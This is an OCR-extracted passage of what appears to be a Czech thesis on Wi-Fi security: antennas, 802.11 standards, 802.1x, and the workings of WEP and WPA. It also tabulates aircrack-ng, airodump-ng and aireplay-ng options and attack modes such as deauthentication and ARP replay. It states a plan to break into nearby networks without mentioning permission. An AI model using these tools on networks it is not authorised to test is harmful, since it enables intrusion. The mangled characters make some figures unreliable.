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1 Uvod

Pro bézny zivot drtivé vétsiny lidi je Wi-Fi pfipojeni dilezitym faktorem. Bez n¢ho
neud¢laji ani krok. VSe ma své vyhody a nevyhody. U Wi-Fi prevladaji vyhody a to takové
jako napiiklad mobilita. To znamend, ze se mizeme pfipojit, kdekoli kde je pfistupovy
bod. Naptiklad kavarny, obchodni centra atd.

Vétsina firem vyuziva internet na ptipojeni k nému, pro provoz webovych stranek
nebo dokonce i1 provozu e-shopu. E-shop je velmi oblibeny, protoze si v klidu ze svého
domova vyberete napt. lampicku nebo néjaké obleceni a naslednym objednadnim vadm to
pfijde az domu a to bez vétstho vynalozeného usili. Pomoci pfistupovych bodi
(Wi-Fi router, AP) se muze kdokoli, kdo je v dosahu signdlu a zna pfistupova hesla,
piipojit. S Wi-Fi pfichazi 1 velké riziko vniknuti do sit¢ nezadanou osobou a ztraty
citlivych dat. A proto bychom m¢li klast velky diiraz na bezpecnost sit€¢ a vénovat tomu
vice penéz.

Prvni ¢ast je teoretickd a v ni budu popisovat princip bezdratové sité a vse, co se
Wi-Fi tyce.

V druhé kapitole se budu vénovat bezdratovym sitim obecné. Budu tu popisovat
1 antény, které jsou potiebné pro provozovani bezdratové sité, a to jak by méli vypadat,
jakym smérem se §ifit a hlavné na jak velkou vzdéalenost dokéazi vysilat.

V tieti kapitole se budu vénovat standardim Wi-Fi. Jaké zndme a co v sobé
obsahuyji.

Ve c¢tvrté kapitole budu rozebirat a vénovat se operacnimu systému BackTracku.
K ¢emu se da vyuzit a jaké uZite€né nastroje v sob¢ obsahuje.

Ve zbyvajicich kapitolach se budu vénovat autentizacnimu serveru 802.1x
a bezpecnostnim protokolim WEP, WPA a WPA2. Popisu, jak funguji, jaké vyuzivaji
algoritmy pro Sifrovani dat a rozdily mezi nimi. Jaky protokol je nejsiln€j$i a ktery
na druhou stranu nejslabsi.

Druha ¢ést je praktickd a v ni se budu snazit dokazat chyby, které bezpecnostni
protokoly maji. Mym tukolem je skenovat sit€ v mém okoli, zjistovat jejich silu
zabezpeceni a poté se pokusit do dané sité¢ vniknout.
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2 Bezdratova sit’
2.1 Bezdratova sit’ obecné

Bezdratova sit’ neboli Wi-Fi je typ pocitacové site, ve které komunikuji tcastnici
prostiednictvim elektromagnetickych vIn. Vyhoda mobility na rozdil od dratové
komunikace. Vice informaci nalezneme na [1][21][23].

2.2 Antény

Antény jsou velmi dilezitym faktorem v bezdratovych sitich. Zavisi na nich
ve velké mife piekondvani dvou a vice od sebe vzdalenych mist neboli ptistupovych bodu.

Antény dodavané napi. v notebooku nemaji velky dosah. Mizeme vidét sit
v dosahu desitek metrd. Viditelnost bezdratovych siti je ovlivnéna nékolika faktory napf.
prostiedim. Interni neboli zabudované antény v bezdratovych zafizenich by mély
postacovat pro pripojeni v budové, ale pro prekonavani vétSich vzdalenosti je potieba
kvalitn€jsi externi anténa.

2.2.1 Rozdéleni

U antén neni rozhodujici barva, ale kvalitni vysilani a pfijimani signalu. Antény
bychom méli vybirat hlavné podle kvality a podle toho jakym smérem vysilaji.

Smérovost antén:

o VSesmérové — Sifeni signdlu je vSemi sméry, coZ znamend, Ze vykryvaji
360°. Piimo od vyrobce dodavané k jednotlivym zafizenim, protoze jsou
nejbeéznéji pouzivané. Souvislé pokryti viz Obr. 2.1.

o

—mm

Obr. 2.1 - VSesmérové vysilani [4]
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o Sektorové - Sifeni signdlu je v takzvanych sektorech, coz znamena,
ze mohou vykryvat napt. 180°. Vhodné pro pouziti v oblasti, kde
potfebujeme vykryt jen jeden smér (napt. 180°) a zabranit vysilani jinym

smérem viz Obr. 2.2.

270

Obr. 2.2 - Sektorové vysilani [10]

o Smérové — Sifeni signalu jednim smérem. Tento typ antény, jelikoZz vysila
jen jednim smérem, tak ma kvalitnéjsi vysilani a vétsi dosah viz Obr. 2.3.

Obr. 2.3 - Smérové vysilani signalu [5]
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2.2.2 Zisk

Pti vybéru antény musime klast velky diraz na zisk. Cim vyssi zisk, tim vzdalené;si
signal anténa zachyti. Zisk je pomér mezi intenzitami vyzafovani. Vice informaci
nalezneme na [5].

Vinovou délku miZeme spocitat podle vzorce

I1=C/f (2.1)
Vysvétlivky:

1 — vinova délka v metrech

C —rychlost svétla v metrech za sekundu (2,997 x 10 m/s)

f — frekvence zafeni v hertzech

¢ili pro pasmo 2,4 GHz uvazujeme vinovou délku 12,48 cm, palvina je pak dlouha
6,24 cm

Zisk antény se udava v dBi, tedy v decibelech na isotrop.

2.2.3 Decibel

Zakladni jednotka bel (Alexandr Graham Bell'), ktera vznikla jako pomér 10:1
mezi intenzitami (vykony) dvou riznych zvukd. Tento pomér je ze dvou stejnych velicin,
tim padem je fyzikalné bezrozmérny a vyjadfuje kolikrat je jedna hodnota vétsi nez druha.
Vice informaci nalezneme na [7].

Vykonovy pomér je 10:1 = 1B, 100:1 =2B, 1 000:1 = 3B
Zisk v belech je dan vztahem:

G = 10g(D) 2.2)
Vysvétlivky:

e P,aP;-vykony
Zakladni jednotka bel je fadove mald, proto se pfistoupilo k jednotce decibel.

Vykonovy pomér 10:1 = 10dB, 100:1 =20dB, 1 000:1 = 30dB

' Americky profesor fyziologie organti fei, fyziky a vynalezce. Narozen 1847 a zemiel v roce 1922.
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Zisk v decibelech je dan vztahem:
Gpeciver = 10 % log(;2) (2.3)
P, aP; - vykony
Mohou nastat ¢tyFi moZnosti:
e P,>P;-vysledek je kladna hodnota - log(100/ 1) =2
e P, <P, -vysledek je zdporna hodnota - log(0,01/ 1) =-2
e P, =P, -vysledek je roven 0
e P, =0 - pro nulovou a zapornou hodnotu neni log definovan
Podle vysledku mizeme fici, jestli se jednd o zisk €i ztratu (napf. Gitlum na vedent).

2.2.4 Polarizace

Dva typy polarizace elektromagnetického vinéni:

e Linearni — horizontalni a vertikalni
¢ Kruhova — mize byt pravotociva nebo levotociva.

Pro optimalni provoz datového spoje, musi mit ob¢ stanice stejnou polarizaci.
Pti rozdilné polarizaci dochazi ke ztratdm a zmenseni dosahu.

V bezdratovych sitich se pouzivd vice horizontdlni a vertikalni polarizace nez
kruhova.

Vyzarovaci thel

Dtlezitym prvkem popisu kazdé antény je vyzarovaci thel, coZ znamena do jakého
sméru a pod jakym uhlem anténa vyzafuje. U kaZzdé antény bychom méli znat dva
vyzafovaci thly a to vertikalni a horizontalni (viz kapitola 2.2.1).

Vertikalni tthel vyzafovani vlastné omezuje vySku vyzarovaného kuZele.
2.2.5 Vzhled

Dillezitym parametrem venkovni antény je vdha a rozmér. Pfi vybéru antény
bychom si tyto parametry méli zjistit, protoze je potieba védét jak pevné anténu upevnit,
aby nam pfii vétsim vétru neodlétla, a hlavné musi byt z materialu, ktery neoxiduje.
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2.2.6 Sifeni radiového signalu
Ruseni jinymi systémy ve stejném frekven¢nim pasmu

Systémy pouzivajici modulaci FHSS (viz kapitola 3.1.2) napi. BreezNet. Tato
technologie vysila kratké signaly do celého pasma. Pokud na sebe narazi tyto technologie,
tak dochazi k nékolikavtefinovému vypadku.

Wi-Fi zafizeni kvuli Sifce kandlu 22MHz a odstupu mezi jednotlivymi kanaly
poskytuje Wi-Fi pasmo pouhé tii zcela oddélené fyzické kanaly, a to kandly 1, 6 a 11.
V 2,4 GHz pasmu si muze vysilat kazdy, jak chce, ale musi dodrzet vykonnostni limity
stanovené CTU?.

Prima viditelnost

Pod pfimou viditelnosti si pfedstavme, Ze vidime z jedné antény na druhou pouhym
pohledem oka nebo s pouzitim dalekohledu. Pokud tomu tak neni, musime pocitat se
ztratami. Pro signdl 2,4 GHz je jistou smrti zelezobetonova zed'. U cihlové zdi miize byt
dosah do 15 m a u sadrokartonu to mize byt i nékolik desitek metra.

Vliv stromu - predstavuji velky problém, ktery je velmi ¢asto podcenovan. Lepsi
je vyhnout se stromiim nebo §ifit signal nad korunami stromd.

Vliv Poc¢asi - zpusobuje pii provozu Wi-Fi jen drobné vychylky, ale na delsi
vzdalenosti je lepsi je do kalkulaci zahrnout.

Voda - pro signal v pasmu 2,4 GHz problém. Mikrovlny o této frekvenci totiz maji
schopnost excitovat molekuly vody a tim vodu ohtfivat. Ostatné na tomto principu
pracuje mikrovinna trouba, ta ohfiva pokrmy né€kolika sty watty radiovych signala
na frekvenci 2,45 GHz.

? Cesky telekomunikaéni ufad. Vykonnostni limit je 100 mW.
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3 Standardy IEEE 802.11
3.1 IEEE 802.11 obecné

Wi-Fi standard pro lokalni bezdratové sité. Standard 802.11 obsahuje rizné druhy
modulaci pro vysilani radiového signalu, pticemz tyto modulace pouZzivaji jeden protokol.

Standardy 802.11b, g pouzivaji 2,4 GHz padsmo. V tomto pasmu pracuji bezdratové
telefony, bluetooth i mikrovinné trouby. Standard 802.11a pouziva 5 GHz pasmo a ten
nemuze pracovat se zatizenimi, které pracuji v 2,4 GHz pasmu.

Novy standard 802.11ac pouziva 2,4 GHz i 5 GHz. Je kompatibilni pro ob¢ pasma.
Vice informaci nalezneme na [3].

3.1.1 Popis jednotlivych standardu
IEEE 802.11a

Vyuziva Wi-Fi pasmo 5GHz. PouZivd modulaci OFDM. Je stabilnéjsi, vyspélejsi
a lze ho pouzit na delsi vzdalenosti oproti standardu IEEE 802.11b/g.

IEEE 802.11b

Schvalen v roce 1999. Pfenosova rychlost 11 Mbit/s v pfenosovém pasmu 2,4 GHz.
Dosah az 12 km ve volném prostiedi. Modulace DSSS.

IEEE 802.11g

Rozsifuje standard IEEE 802.11b. Je zpétné kompatibilni, vysild v pasmu 2,4 GHz
a jeho nomindlni rychlost je 54 Mbit/s. Modulace OFDM mimo rychlosti 1, 2, 5,5 a 11
Mbit/s, protoze ty pouZzivaji DSSS.

IEEE 802.11n

Uprava fyzické vrstvy a pod &asti linkové vrstvy, takzvané MAC® podvrstvy tak,
aby se docililo realnych rychlosti pfes 100 Mbit/s.

Zvyieni rychlosti se dosahuje pouzitim MIMO* technologie, ktera vyuziva vice
vysilacich a ptijimacich antén. Vice informaci nalezneme na [8][22].

3 Media Access Control
* Multiple Input Multiple Output
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3.1 - Prehled standardi IEEE 802.11

pivodni IEEE 802.11 1997 2,4 2 DSSS a FHSS
IEEE 802.11a 1999 5 54 OFDM
IEEE 802.11b 1999 2,4 11 DSSS
IEEE 802.11¢g 2003 2,4 54 OFDM
IEEE 802.11n 2009 2,4 nebo 5 600 MIMO OFDM

3.1.2 Popis modulaci

FHSS (Frequency Hopping Spread Spectrum)
K dispozici 22 skokové sekvence. 79 kanali v okoli frekvence 2,4 GHz. Sitka

pasma kazdého znich je 1 MHz a “pteskakuje” minimdlné 2,5krat za vtefinu (typicky
20krat). Ma vysokou odolnost proti ruSeni, ale také nizkou propustnost (max. 2 Mbps).

Znazornéno na Obr. 3.1.

1.skok 3.skok 4.skok

fl 2 3 4 5 f
Obr. 3.1. — FHSS (piepracovano dle [12])
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DSSS (Direct Sequence Spread Spectrum)

v jednom 22 MHz Sirokém kandlu, coz znamena ¢im vétsi rychlost, tim vetsi Sifka pasma.
Vice informaci nalezneme na [9].

A
Signal
arovné

Obr. 3.2 — DSSS (piepracovano dle [12])

OFDM (Orthogonal Frequency Division Multiplexing)

Kmitoctové déleni kanalu pro komunikaci. Ve virtudlnich kanalech, které jsou
vytvotené ve frekvenénim pasmu, se data piendseji najednou, ale pomalu. Diky tomu
je prenos rychlejsi, ale odolnost proti ruseni je nizka. Znazornéni na Obr. 3.3.

|
\\\ \ \\\\i

Obr. 3.3 — OFDM (prepracovano dle [12])
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4 BackTrack
4.1 BackTrack obecné

Operacni systém, ve kterém jsou nainstalované aplikace (viz kapitola 4.2) nebo
skripty pro zjiStovani bezpecnosti sité. BackTrack nam usnadiiuje préaci k prolomeni
bezpecnostnich protokolt WEP, WPA nebo WPA2, protoze ma v sobé vSechny potiebné
aplikace nainstalované a nemusime je pracné stahovat a instalovat. USetfi nam to hodné
prace. Vice informaci nalezneme na [6].

Linux distribuce odvozena od Auditor a WHAX.

Vydavatelé Mati Aharoni a Max Moser. Na Ubuntu Linux pracuje az 4. verze, ktera
ma vlastni bali¢ckovaci systém a strukturu.

4.2 Dulezité aplikace
4.21 Aircrack-ng

Balicek aplikaci, ktery obsahuje implementace utokti na Sifrovani WEP a WPA.
Pracuje s Wi-Fi kartou, kterda umoziuje tzv. raw monitoring mode. Nastroj se da pouzit
na vSech operac¢nich systémech.

4.21.1 Popis

aircrack-ng [nastaveni| <.cap / .ivs soubor>

4.1- Klasické nastaveni

Parametr Vysvétleni

-a zvoleni atoku WEP / WPA
-e sitova identifikace

-b MAC adresa AP

-C MAC adresa PC

-1 zapis klice do souboru
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4.2 - WEP nastaveni

Parametr Vysvétleni

-C hledej jen alfanumerické kombinace
-t hledej jen binarni kod

-h hledej &isla pro Fritz!BOX®

-d pouziti masky z klice (A1:XX:CF:YY)
-m MAC adresa pro filtrovani pakett
-n velikost WEP klice

4.3 - WEP a WPA - PSK nastaveni

Parametr Vysvétleni

-W cesta k slovniku

-r cesta k airolib-ng

4.2.2 Airodump-ng

Nastroj dokaze detekovat vSechny Wi-Fi sité¢ v dosahu sitové karty, kterou pouziva
a nasledné chytit a ulozit provozni data nebo inicializa¢ni vektory do souboru. Zachyceni
inicializacnich vektorti pro nasledné rozlusténi WEP klice. Tento nastroj je jen v balicku.
Je pouzitelny pro Linux a Windows.

4.2.21 Popis

airodump-ng <nastaveni> <rozhrani>[,< rozhrani >,...|

4.4 — Klasické nastaveni

‘ Parametr ‘ Vysvétleni
--ivs ukladani jen IV
--gpsd pouziti GPS
--beacons nahravani beacons do souboru
--update aktualizace Casu
--showack vypsani ack/cts/rts statistiky
-r ¢teni souboru
-w ukladani do souboru

> Fritz!BOX - univerzalni komunika&ni za¥izeni (router)
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4.5 - Nastaveni filtru

Parametr Vysvétleni

--encrypt podle Sifrovaci sady
--netmask podle masky
--bssid podle BSSID
-a podle neasociovanych klientl

4.2.3 Aireplay-ng

Hlavnim ukolem je generovani trafiku pro pozd¢jsi pouziti v 4.2.1 pro rozsifrovani
klict. Nastupce star§iho Aireplay a implementuje nové typy utokt. Naptiiklad deautentizaci
a faleSnou autentizaci.

4.2.3.1 Popis
aireplay-ng <volba> <replay rozhrani>
4.6 — Typ utoku

Parametr ‘ Typ utoku

Deautentizace

Fale$na autentifikace

Interaktivni pfehravani paketu

ARP pozadavek replay utok

KoreK chopchop utok

Fragmentac¢ni utok

O DN AW -=D

Test injekce

4.7 — Klasické nastaveni

Parametr ‘ Vysvétleni
-b BSSID
-d MAC adresa cil
-S MAC adresa zdroj
-m minimalni délka paketu
-n maximalni délka paketu
-W kontrola ramce, WEP bit
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4.8 - Nastaveni Replay, ARP a Fragmentacniho ttoku

‘ Parametr ‘ Vysvétleni
-X pocet paketl za sekundu
-a nastav MAC adresu AP
-C nastav MAC adresu cile
-h nastav MAC adresu zdroje
-e nastav cilové SSID AP
-j utok ARP
-k nastav cilovou IP pfi fragmentacnim utoku
-1 nastav zdrojovou IP pti fragmentacnim
utoku
-y proud klich pro autentizaci PSK
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5 Autentizaéni protokol 802.1x

IEEE 802.1x je norma tykajici se fizenim pfistupu do sit€¢ pomoci autentizace.
Je urcena hlavné pro metalické sité, ale vyuziva se i1 v bezdratovych sitich kvili zlepSeni
bezpecnosti. Umoziiuje silnou autentizaci uzivateld, integritu Sifrované zpravy a distribuci
klict. Snazi se blokovat ptistup nezddoucim klientm.

802.1x vyuziva protokol EAPOL (EAP over LAN). EAPOL zapouzdiuje zpravy
protokolu EAP do EAPOL ramct. EAP byl zamyslen pro PPP (Point to Point Protocol).

Jestli bude nebo nebude klient moci komunikovat s AP (autentizitor) zalezi
na autentizaci s AS (autentizacni server). Navazani spojeni viz Obr. 2.1. AP vyuziva dvou
virtudlnich portl tzv. fizeny a nefizeny port.

e Fizeny port — nejdiive klient zablokovan od veskerého sitového provozu, protoze
je v neautorizovaném stavu. A po autentizaci je klientovi povolen sitovy provoz.

e nefizeny port — tento port nejdiive blokuje vSe mimo EAP ramci, které slouzi
ke komunikaci mezi AP a AS.

PC 4—‘ 802.1X |—» Router

802.1X/EAP — Dotaz na identitu

<
<

802.1X/EAP — Odpoveéd’ na identitu

v

Pristup RADIUS — Dotaz na identitu

vy EAP, specifické pro zvolenou metodu

[
Ll

Odvozeni MK |
RADIUS Dostup

Odvozeni MK

A

Distribuce MK

Obr. 5.1 - Zadani o autentizaci klientem (pfepracovano dle [12])
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5.1 Autentiza¢ni mechanismy

Ob¢ strany musi mit stejny zptisob autentizace. Autentizace probihd na dohodé¢
oveétovaciho mechanismu a vlastni autentizace.

Existuje nékolik druhii autentizaci:

e EAP-TLS - nejsiln€jsi autentizatni mechanismus z pohledu bezpecnosti.
Vzijemna autentizace pomoci digitalnich certifikati podepsanych certifika¢ni
autoritou (metoda TLS). Dynamické generovani klica.

e EAP-TTLS - rozsifeni modifikace EAP-TLS. Jedna se o vzajemnou autentizaci
pomoci digitalniho certifikatu, ktery je na strané AS a slouzi k autentizaci klientu.
A jako u TLS je pfenos pfes Sifrovany tunel, ktery je odolny vii¢i odposlechu.

e EAP-PEAP - obdobna autentizace jako u EAP-TTLS. Sifrovany tunel
pro vzajemnou autentizaci. Autentizace probihd pomoci hesla, kter¢ mtize byt
zahaSovano pomoci MD5.

e EAP-LEAP - vzijemnd autentizace pomoci uzivatelského jména a hesla.
Dynamické generovani kli¢i. Urcen pro sité s Cisco zafizenim.

e EAP-MDS — jednocestné ovétovani, pfi kterém je pouzivano uzivatelské jméno
a heslo. Ale nevime, jestli komunikujeme se spravnym AP. Udaje o klientovi jsou
haSovany pomoci MDS5. Nejslabsi autentizacni mechanismus, protoze je nachylny
na slovnikové Utoky. Neumoznuje dynamické generovani klica.

Vice informaci nalezneme na [2][24][25].

5.1 - Piehled autentiza¢nich mechanismu

Autentiza¢ni mechanismy Bezpefnost Autentizace Narocnost
Implementace

EAP-TLS nejsilnéjsi vzéjemna vysoka
EAP-TTLS silna vzéajemna stiedni
EAP-MD5 nejslabsi | jednocestna nizka
EAP-LEAP slabsi vzéajemna stiedni
EAP-PEAP silna vzajemna stiedni

5.2 Vyhody a nevyhody
Vyhody:
e zablokovani nezadoucim klientiim do sit¢.
Nevyhody:

e pro vzdalenou spravu v pfipadé, Ze je pocitac pfipojeny k neautorizovanému portu.
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6 Bezpecénostni protokoly pouzivané ve Wi-FlI

6.1 WEP (Wired Equivalent Privacy)

Vychozi Sifrovaci protokol, ktery byl poprvé uveden v roce 1999 ve standardu
IEEE 802.11. Pouzivé Sifru RC4 pro utajeni a kontrolni soucet CRC-32 pro ovéfeni
integrity. WEP 64 bit pouziva 40. bitovy klic a 24. bitovy inicializa¢ni vektor IV
pro vytvofeni RC4 klice. WEP 128 bit pouziva 104. bitovy kli¢ a 24. bitovy inicializa¢ni
vektor. Vice informaci nalezneme na [11][14][20].

6.1.1 Autentizace
Autentizace je pouze jednocestna, oveéfuje se pouze klient, ale nikoliv AP.
e Open Systém autentizace

Klient neprovadi autentizaci a nezalezi na jeho WEP klici.

e Pied-Sdileny Key autentizace
Klient se autentizuje a jeho WEP klic¢ je pouzit pro Sifrovani dat.
6.1.2 Sifrovani

Rovnice pro zaSifrovani zpravy (viz rovnice C = [ M||ICV(M)] + [RC4(K]||IV)]
(6.1)).

C=[M||ICV(M)] + [RCA(K||IV)] (6.1)
Vysvétlivky:

e (C —sifrovand zprava

e M —zprava

e ICV —kontrolni soucet

e || - operator zietézeni

e +-XOR

RC4 (K || IV) — Sifrovaci algoritmus s tajnym kli¢em o velikosti 40 nebo 104 bith
kombinovanych s 24. bitovym inicializa¢nim vektorem
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Zprava M ICV(M)

1A% Kli¢ > rca™ > Keystream =RC4 (IV, k) ICV(M)
| XOR
o
v Kli¢ Zprava M ICV(M)
Sifrovano

P
<

v

C=[M|ICV(M) |+[ RC4(K || IV) ]

Obr. 6.1 - Sifrovaci algoritmus (p¥epracovano dle [12])

RC4

Hlavnim faktorem uspéchu RC4 je Siroky rozsah pouzitelnosti v aplikacich,
jeho rychlost a jednoduchost: efektivni a snadnd implementace v softwaru 1 hardwaru.

Popis:

Sifra RC4 generuje pseudonahodny proud bajti. PouZiva k Sifrovani spojeni
nahodnych bajth spolu s ¢istym textem (operaci XOR) viz Obr. 6.1 a deSifrovani probiha
podobnym zplisobem, ale inverzné.

Typy utokii:

e Brute-Force — slovnikovy ttok - neefektivni
e Injekce ramci — libovolny zachyceny ramec znovu posleme a tim docilime
toho, Ze nebude identifikovany jako zdvojeny

Shrnuti:

e IV jsou pfili§ kratké a neni Z&dna ochrana proti opakovani zpravy

e Kontrola integrity neni dostacujici (CRC32 slouzi k detekci chyb a tim
padem neni kryptograficky bezpecny)

e Zidné aktualizace klica

6.2 WPA (Wi-Fi Protected Access)

Roku 2001 byl zapocat vyvoj pro zlepSeni zabezpeceni bezdratovych siti
pod oznacenim 802.111, jelikoZ tato norma byla schvalena az roku 2004, tak do té doby
Wi-Fi Aliance na docCasné feSeni bezpecnostnich problémul uvedla bezpecnostni protokol
WPA.
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Reaguje na nedokonalosti v zabezpeceni bezdratovych siti protokolem WEP
(viz 6.1). WPA byl vytvofen tak, aby byl kompatibilni s dosavadnim hardware vybavenim.
Tim padem staci jen aktualizace daného hardwaru a nemusi se vyménovat za jiny. To je

pro vyuziti WPA (viz kapitola 6.4) a to pod nazvem WPA Enterprise (pro velké sit¢)
a WPA Personal (pro malé sit€). Vice informaci nalezneme na [12][13][14][15].

6.2.1 Ctyfi faze pro bezpeénou komunikaci

Router

R

Odsouhlaseni bezpec¢nostnich zasad

Distribuce MK

v

serverem RADIUS

Obr. 6.2 - Komunikace zaloZena na ¢tyrech fazich (pirepracovano dle [12])

1. Odsouhlaseni bezpecnostnich zasad

Pokud napf. klient chce komunikovat s AP, tak se musi dohodnout
na bezpecnostnich zasadach, které budou pouzivat. V Beacon nebo Probe Respond jsou
obsaZeny bezpecnostni zasady, které podporuji. Déle nasleduje oteviend autentizace.
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Obr. 6.3 — Architektury ve WLAN (pfepracovano dle [24])

Informace o bezpecnostnich zasadach se zaSlou v poli RSN:

e Podporované autentizacni metody (PSK, 802.1X)

e Bezpecnostni protokoly pro unicast (TKIP)

e Bezpecnostni protokoly pro multicast (TKIP)

e Moznost pfed-autentizace pred pirepnutim na piistupovy bod stejné sité

2. Autentizace (PSK a 802.1x)
A. Pred-Sdileny kli¢

Autentizace pouzitelnd ve WPA Personal (v malé siti bez autentizacniho serveru).
Probihad pomoci hesla, které musi byt nastaveno jak u AP, tak i u stanice. Toto heslo musi
byt na obou stranich stejné a musi se drzet v tajnosti.

Autentizace probiha nasledovné:

e Stanice se autentizuje z druhé zpravy z 4-Way Handshake si ptistupovy bod
vypocte MIC® a ovéfi s MIC ptijaté zpravy

e AP se autentizuje stejnym zpusobem a to vypoctenim MIC z tieti zpravy
z 4-Way Handshake a porovna s pfijatym MIC

8 MIC (Message Integrity Code) — datové pole pripojené k nesifrovanym datiim pro integritu (pomoci
algoritmu Michael)
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PSK
Pied-Sdileny kli¢

v
PBKDF2

Specialni hasovaci funkce

v v v

PSW SSID SSIDlength 4096 256

Zadané¢ heslo Identifikdtor WLAN Délka SSID Pocet hasu Délka vystupt

J

Obr. 6.4 - Pired-Sdileny Kli¢ (pFepracovano dle [12])

B. Autentizace 802.1x
Popsana v kapitole (viz kapitola 5).
3. Hierarchie a distribuce kli¢u

Bezpecnost piipojeni zavisi na bezpec¢nosti klict. V této fazi se generuji a obnovuji
klice.
Odvozeni PMK (viz Obr. 6.5):
e Autentizace PSK - PMK=PSK. Pro domaci sit€¢ a malé podniky, které

nemaji autentizacni server
e Autentizace 802.1x — PMK se odvodi z MK’

PMK slouzi pro generovani docasného klice a v tom piipadé kvili bezpe¢nosti
nemuze byt pouzit sam ke Sifrovani nebo kontrole integrity. Proto u unicast provozu
je pouzit PTK.

"MK (Master Key) — hlavni kli¢, ktery se ziska po autentizaci 802.1x mezi AP a klientem
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Vznikaji dva handshake p¥i odvozovani kli¢i (viz Obr. 6.6):

A. 4-Way Handshake pro obnoveni PTK® a GTK’

PC  l— 802.1X J_>

Router

Krok 2: 4-fazovy Handshake

Krok 1: ptenos MK z AS do AP

<

dvozeni a distribuce PTK a GTK

v

Key Handshake
ibuce GTK

v

Obr. 6.5 - Ukazka odvozovani kli¢a (pi‘epracovano dle [12])

Délka PTK zavisi na pouZiti Sifrovaciho protokolu:

e 512 bitd u TKIP

Pridélené docéasné klice k PTK:

6.1 - Docasné Kklice

Zkratka Cely nazev Velikost Vlastnosti
KCK | Key Confirmation Key 128 bitt kli¢ pro autentizacni zpravy (MIC)
KEK Key Encription Key 128 biti kli¢ pro zjisténi utajenych dat
TK Temporary Key 128 bitt kli¢ pro Sifrovani dat (pouzivany TKIP)
TMK | Temporary MIC Key | 2x 64 bita Kli¢ pro autentizaci dat

8 PTK (Pairwase Transient Key) — kli¢ odvozeny z hlavnich parovych kli¢t (PMK (Pairwase Master Key))
? GTK (Group Transient Key) — kli¢ odvozeny z hlavnich skupinovych kli¢t (GMK (Group Master Key))
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PMK - 256 bith

Pairwise Transient Key

v
PTK — 512 bith

Pairwise Transient Key

Y v v v v i
EAPOL-Key EAPOL-Key Docasny Docasny AP Docasny AP
Potvrzovaci kli¢ Sifrovaci kli¢ Sifrovaci kli¢ Tx MIC kli¢ Rx MIC kli¢

128 bitid 128 biti 128 biti 64 bitt 64 bitt
h.——/ = 1
Bitt 384-447 Bitu 448-511
TMKI TMK2 |

Obr. 6.6 - Hierarchie parového klice WPA (prepracovino dle [12])

Popsani procesu 4-Way Handshake:

AP si vygeneruje ndhodné ¢islo Anonce a posle ho v nezaSifrované podobé€. Stanice
si vytdhne z pfijaté nezaSifrované zpravy ANonce, MAC adresu AP a ze svého PMK,
své MAC adresy a ndhodné vygenerovaného ¢isla SNonce si vypocita kli¢ PTK. Dale si
vypocita odvozené klice.

Za pomoci klice KCK zasle SNonce a MIC vypocitany z druhé zpravy smérem
k AP. AP pfii obdrzeni druhé zpravy dozvi hodnotu SNonce a vypocita stejnym zptisobem
kli¢ PTK a odvozené klic¢e. A porovna MIC z pfijaté zpravy s MIC, kterou AP vypocitalo.
Pti shodé AP vi, Ze stanice zna PMK a spravné vypocital PTK a odvozené docasné klice.

Tieti zpravu zasila AP stanici a obsahuje GTK (Sifrovany pomoci KEK) a GNonce
spolu s MIC vypocitanym ze tteti zpravy pomoci klice KCK. Stanice pfi obdrzeni treti
zpravy zjisti, ze se shoduje PMK, odvozené docasné klice i hodnota MIC s AP.

Ctvrta a zaroven posledni zprava potvrzuje dokondeni 4-Way Handshake a fika,
ze stanice nyni nainstaluje kli¢ a spusti Sifrovani. AP pfi piijeti instaluje, jakmile ovéri
hodnoty MIC a klice. Pti shod¢ stanice a AP ziskaly, vypocitaly a nainstalovaly Sifrovaci
klice a jsou schopny komunikovat v zaSifrovaném kandlu jak pro provoz unicast tak
1 multicast (viz Obr. 6.7).
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Router
Nahodné ¢islo SNonce Nahodné ¢islo ANonce
.

. . GTK sifrovany
Synchronizace mezi )
. L pomoci KEK
dvéma entitami pred

Sifrovanim

Instalace
Instalace o
802.1X — Kontrola otevieni portu

Obr. 6.7 - 4-Way Handshake (pfepracovano dle [12])

B. Group Key Handshake pro obnovu GTK

Skupinové vysilani je chranéno klicem GTK a ten je odvozen z GMK (pevny fetézec +
MAC adresa AP + GNonce)

Délka GTK zavisi na pouZiti Sifrovaciho protokolu:

e 256 bitt u TKIP
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Pridélené docéasné klice k PTK:

6.2 - Docasné klice

Zkratka Cely nazev Velikost Vlastnosti

GEK | Group Encryption Key 128 bita kli¢ pro zjisténi utajenych dat

GIK Group Integrity Key 128 bitd kli¢ pro autentiza¢ni zpravy (MIC)

GMK - 256 bitt

AP MAC || GNonce Rozsiteni skupinového klice

[ PRF vyuzivajici HMA!

GTK — 256 biti J

v I8 AR

Group Encryption Key i Group Encryption Key i
128 bith i 128 bith ;

i Bitli 128-255 |

i GIK |

Obr. 6.8 - Hierarchie skupinového klice u WPA (pi‘epracovano dle [12])

Tento Handshake vyuziva docCasné klice generované v pribé¢hu 4-Way Handshake
(KCK a KEK). Je potieba jen k deasociaci hostitele a k obnoveni GTK na pozadavek
stanice.

AP vysle prvni zpravu, kterd obsahuje nové vypocitany GTK zasifrovany pomoci
KEK, potadové Cislo GTK a MIC vypocitany pomoci KCK. Stanice po obdrzeni zpravy si
oveii MIC, a pokud se shoduje, tak je mozné desifrovat GTK.

Druhé zprava ukoncuje Group Key Handshake zaslanim potadového cCisla GTK
a MIC vypocitany z druhé zpravy. AP pfi ptijeti kontroluje MIC a pii shodé¢ instaluje novy
GTK (viz Obr. 6.9).
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PTK PC

Router

GMK + GNonce +
vypocet GTK

GTK Ssifrovany
pomoci KEK

EAPOL-Key
(MIC, GTK, Group)

«

PTK a GTK

Desifrovani

GTK
PTK a GTK

Zprava o autentizaci
pouziti KCK

A 4

Obr. 6.9 - Group key Handshake (piepracovano dle [12])

4. Utajeni a integrita dat RSNA

TKIP je zalozen na Sifrovacim algoritmu RC4 (viz kapitola 6.1.2) a je vytvofen

kvtli velkym slabinam protokolu WEP.

Slabiny nahrazené protokolem TKIP jsou:
e Integrita zprav — novy algoritmus MIC

e Inicializa¢ni vektory — k zamezeni opétovného pouziti se zvySuje velikost
v

VylepS$eni:
e Sprava klict — nova metoda pro distribuci a vyménu klict
o PPKM"

Algoritmus Michael

Vytvoten pro TKIP a troven cilové bezpecnosti je 20 bitil. Opatieni proti podvrzeni

kédu MIC a to tak, Ze za jednu minutu nesmi nastat vice jak dvé selhani MIC. Pokud
nastane vice selhani, tak nastane jedno minutovy vypadek a poté se musi znovu vytvorit
nov¢ klice (GTK a PTK).

' PPKM (Per Packet Key Mixing) — ziskavani nesouvisejicich ifrovacich kli¢a
